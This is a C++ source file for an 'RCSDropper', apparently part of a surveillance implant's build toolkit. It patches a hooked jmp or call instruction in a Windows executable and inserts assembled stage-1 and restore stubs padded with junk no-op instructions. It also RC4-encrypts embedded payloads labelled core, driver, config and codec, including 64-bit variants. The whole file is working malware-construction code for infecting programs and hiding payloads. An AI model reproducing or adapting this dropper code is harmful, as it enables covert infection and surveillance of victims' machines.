/* * RCSDropper.cpp * * Created on: May 11, 2010 * Author: daniele */ #include "RCSDropper.h" #include "../../RCSDropper/DropperHeader.h" #include #include #include using namespace std; #include #include #include #include #include #include #include #include #include "Common.h" #include "CookerVersion.h" //#include "DropperHeader.h" #include "hook.h" static void rc4crypt( const unsigned char *key, size_t keylen, unsigned char *data, size_t data_len); void RCSDropper::patchStage1(char* ptr, DWORD VA, DWORD stubVA) { (void) VA; AsmJit::Assembler stub; switch (hookedInstruction_.d.Instruction.BranchType) { case JmpType: { if (hookedInstruction_.len == 5) { DWORD codeVA = stubVA + sizeof(DWORD); DWORD addr = (DWORD) ptr + codeVA - (DWORD)hookedInstruction_.d.VirtualAddr; std::cout << "Stage1 stub: jmp 0x" << hex << codeVA << dec << std::endl; stub.call( (void*) (addr + 0x1000)); } else if (hookedInstruction_.len == 6) { cout << "Stage1 stub: jmp dword ptr ds:[0x" << hex << stubVA << "]" << dec << std::endl; stub.call(AsmJit::dword_ptr_abs((void*)stubVA)); } } break; case CallType: { if (hookedInstruction_.len == 5) { // account for initial 4 bytes containing address of next byte DWORD codeVA = stubVA + sizeof(DWORD); DWORD addr = (DWORD) ptr + codeVA - (DWORD)hookedInstruction_.d.VirtualAddr; std::cout << "Stage1 stub: call 0x" << hex << codeVA << dec << std::endl; stub.call( (void*) (addr + 0x1000)); } else if (hookedInstruction_.len == 6) { cout << "Stage1 stub: call dword ptr ds:[0x" << hex << stubVA << "]" << dec << std::endl; stub.call(AsmJit::dword_ptr_abs( (void*)stubVA )); } } break; } // save original code DataSectionHeader* h = header(); h->stage1.VA = hookedInstruction_.d.VirtualAddr; h->stage1.size = stub.codeSize(); h->stage1.offset = offset_.stage1 - offset_.header; // offsets are header based here memcpy( ptr_( offset_.stage1 ), ptr, h->stage1.size); stub.relocCode((void*) ptr); } // XXX need of calling for size of stub makes restoreStub messy ... refactor!! std::size_t RCSDropper::restoreStub(DWORD currentVA) { unsigned char* restore = ptr_(offset_.restore); DataSectionHeader* h = NULL; DWORD headerVA, dropperVA, stage1VA; if (currentVA == 0) { headerVA = 0xFFFFFFFF; dropperVA = 0xFFFFFFFF; stage1VA = 0xFFFFFFFF; } else { h = header(); headerVA = currentVA + offset_.header; dropperVA = headerVA + sizeof (DataSectionHeader) + 8; stage1VA = h->stage1.VA; DEBUG_MSG(D_VERBOSE, "Current VA : %08x", currentVA); DEBUG_MSG(D_VERBOSE, "Header VA : %08x", headerVA); DEBUG_MSG(D_VERBOSE, "Dropper VA : %08x", dropperVA); DEBUG_MSG(D_VERBOSE, "Stage1 VA : %08x", stage1VA); printf("Current VA : %08x\n", currentVA); printf("Header VA : %08x\n", headerVA); printf("Dropper VA : %08x\n", dropperVA); printf("Stage1 VA : %08x\n", stage1VA); printf("Restore VA : %08x\n", restore); } DWORD restoreVA = currentVA + sizeof(DWORD); AsmJit::Assembler stub; AsmJit::Label *start_loop = stub.newLabel(); stub.data(&restoreVA, sizeof(DWORD)); for (unsigned int i=0; i<0x1000; i++) stub.nop(); /* stub.pushfd(); stub.nop(); stub.pushad(); stub.nop(); // stub.push(headerVA); // stub.pop(AsmJit::eax); //stub.bind(start_loop); // stub.inc(AsmJit::eax); // stub.mov(AsmJit::ebx, AsmJit::dword_ptr(AsmJit::eax)); // stub.inc(AsmJit::ebx); // stub.cmp(AsmJit::ebx, 0x2e312e32); // stub.jne(start_loop); // stub.push(AsmJit::eax); stub.nop(); stub.call(((DWORD) restore) + (dropperVA - currentVA)); //stub.call(dropperVA - dropperVA); stub.nop(); stub.popad(); stub.nop(); stub.sub( AsmJit::dword_ptr(AsmJit::esp, 4), hookedInstruction_.len ); stub.nop(); stub.popfd(); stub.nop(); stub.ret(); */ stub.push(AsmJit::eax); // nop stub.pop(AsmJit::eax); // nop stub.pushfd(); // restoreVA starts here stub.mov(AsmJit::eax, AsmJit::eax); // nop stub.pushad(); stub.push(1); // nop stub.add(AsmJit::esp, 4); // nop // save last_error stub.mov(AsmJit::eax, dword_ptr_abs(0, 0x18, AsmJit::SEGMENT_FS)); stub.xchg(AsmJit::ebx, AsmJit::eax); // nop stub.xchg(AsmJit::ebx, AsmJit::eax); // nop stub.mov(AsmJit::eax, dword_ptr(AsmJit::eax, 0x34)); stub.push(AsmJit::eax); //stub.call( ( (DWORD)ptr + dropper.restoreStubOffset() ) + (epVA - stubVA) ); stub.call( ((DWORD) restore) + (dropperVA - currentVA) ); // restore last_error stub.push(AsmJit::eax); // nop stub.pop(AsmJit::eax); // nop stub.mov(AsmJit::eax, dword_ptr_abs(0, 0x18, AsmJit::SEGMENT_FS)); stub.mov(AsmJit::eax, AsmJit::eax); // nop stub.pop(AsmJit::ebx); stub.push(1); // nop stub.add(AsmJit::esp, 4); // nop stub.mov(dword_ptr(AsmJit::eax, 0x34), AsmJit::ebx); stub.xchg(AsmJit::ebx, AsmJit::eax); // nop stub.xchg(AsmJit::ebx, AsmJit::eax); // nop stub.popad(); stub.push(AsmJit::eax); // nop stub.pop(AsmJit::eax); // nop // substract from retaddr before restoring flags stub.sub( AsmJit::dword_ptr(AsmJit::esp, 4), hookedInstruction_.len ); stub.add(AsmJit::eax, 0); stub.popfd(); stub.nop(); stub.ret(); stub.relocCode((void*) restore); if (currentVA == 0) return stub.codeSize() + 3; return stub.codeSize(); } void RCSDropper::loadFile(bf::path filePath) { std::size_t fileSize = bf::file_size(filePath); char* data = (char*) ptr_(offset_.header); bf::ifstream rcs_file(filePath, ios::in | ios::binary); rcs_file.read(data, fileSize); rcs_file.close(); } void RCSDropper::generateKey() { // TODO generate RC4 key boost::mt19937 rng(static_cast (std::time(0))); boost::uniform_smallint<> uni_dist(0, 255); boost::variate_generator > uni(rng, uni_dist); DataSectionHeader* h = header(); for (int i = 0; i < RC4KEYLEN; ++i) h->rc4key[i] = static_cast (uni()); std::ostringstream skey; for (int i = 0; i < RC4KEYLEN; ++i) skey << hex << static_cast (h->rc4key[i]); //DEBUG_MSG(D_EXCESSIVE, "RC4 Key : %s", skey.str().c_str()); } void RCSDropper::encrypt() { DataSectionHeader* h = header(); // TODO encrypt files DEBUG_MSG(D_DEBUG, "Encrypting core ... %d", (DWORD) h->files.core.size); encryptFile_(h->files.core); DEBUG_MSG(D_DEBUG, "Encrypting core (64bit) ... %d", (DWORD) h->files.core64.size); encryptFile_(h->files.core64); DEBUG_MSG(D_DEBUG, "Encrypting config ... %d", (DWORD) h->files.config.size); encryptFile_(h->files.config); DEBUG_MSG(D_DEBUG, "Encrypting driver ... %d", (DWORD) h->files.driver.size); encryptFile_(h->files.driver); DEBUG_MSG(D_DEBUG, "Encrypting driver (64bit) ... %d", (DWORD) h->files.driver64.size); encryptFile_(h->files.driver64); DEBUG_MSG(D_DEBUG, "Encrypting codec ... %d", (DWORD) h->files.codec.size); encryptFile_(h->files.codec); } void RCSDropper::encryptFile_(DataSectionCryptoPack& file) { if (file.size != 0) { DataSectionHeader* h = header(); rc4crypt( (unsigned char*) h->rc4key, RC4KEYLEN, (unsigned char*) h + file.offset, file.size ); } } RCSDropper::RCSDropper(const char* filepath) { // calculate final size bf::path p = filepath; if (!bf::exists(p)) throw std::runtime_error(filepath); std::size_t fileSize = bf::file_size(filepath); //size_ = fileSize + 8192; size_ = fileSize + 16384; // create buffer and zero it out data_.insert(data_.begin(), size_, 0); // calculate all offsets offset_.restore = 0; offset_.header = std::max (restoreStub(0), 32); DEBUG_MSG(D_DEBUG, "Size of restore stub: %d", offset_.header); // XXX magic number! DEBUG_MSG(D_DEBUG, "Offset to header: %d", offset_.header); offset_.stage1 = offset_.header + fileSize; loadFile(filepath); if (verifyCookerVersion() == false) { std::string version = header()->version; if (version.empty()) version = ""; throw InvalidCookerVersion(version, printable_required_cooker_version); } //generateKey(); //encrypt(); } bool RCSDropper::verifyCookerVersion() { DataSectionHeader* h = header(); std::string version = h->version; boost::trim_left(version); boost::trim_right(version); DEBUG_MSG(D_INFO, "Dropper built with cooker version: %s", version.c_str()); try { if (boost::regex_match(version, required_cooker_version)) return true; } catch (boost::regex_error& e) { DEBUG_MSG(D_DEBUG, "Found version: %s", version.c_str()); DEBUG_MSG(D_WARNING, "Required cooker version is not a valid regular expression: %d", e.what()); return false; } catch (...) { return false; } DEBUG_MSG(D_ERROR, "Dropper built with an invalid cooker version, found %s required %s", version.c_str(), printable_required_cooker_version.c_str()); return false; } RCSDropper::~RCSDropper() { // TODO Auto-generated destructor stub } #define S_SWAP(a,b) do { unsigned char t = S[a]; S[a] = S[b]; S[b] = t; } while(0); void rc4crypt(const unsigned char *key, size_t keylen, unsigned char *data, size_t data_len) { unsigned int i, j, k; unsigned char *pos; unsigned char S[256]; size_t kpos; size_t skip = 0; /* Setup RC4 state */ for (i = 0; i < 256; i++) S[i] = i; j = 0; kpos = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + key[kpos]) & 0xff; kpos++; if (kpos >= keylen) kpos = 0; S_SWAP(i, j); } /* Skip the start of the stream */ i = j = 0; for (k = 0; k < skip; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); } /* Apply RC4 to data */ pos = data; for (k = 0; k < data_len; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); *pos++ ^= S[(S[i] + S[j]) & 0xff]; } } .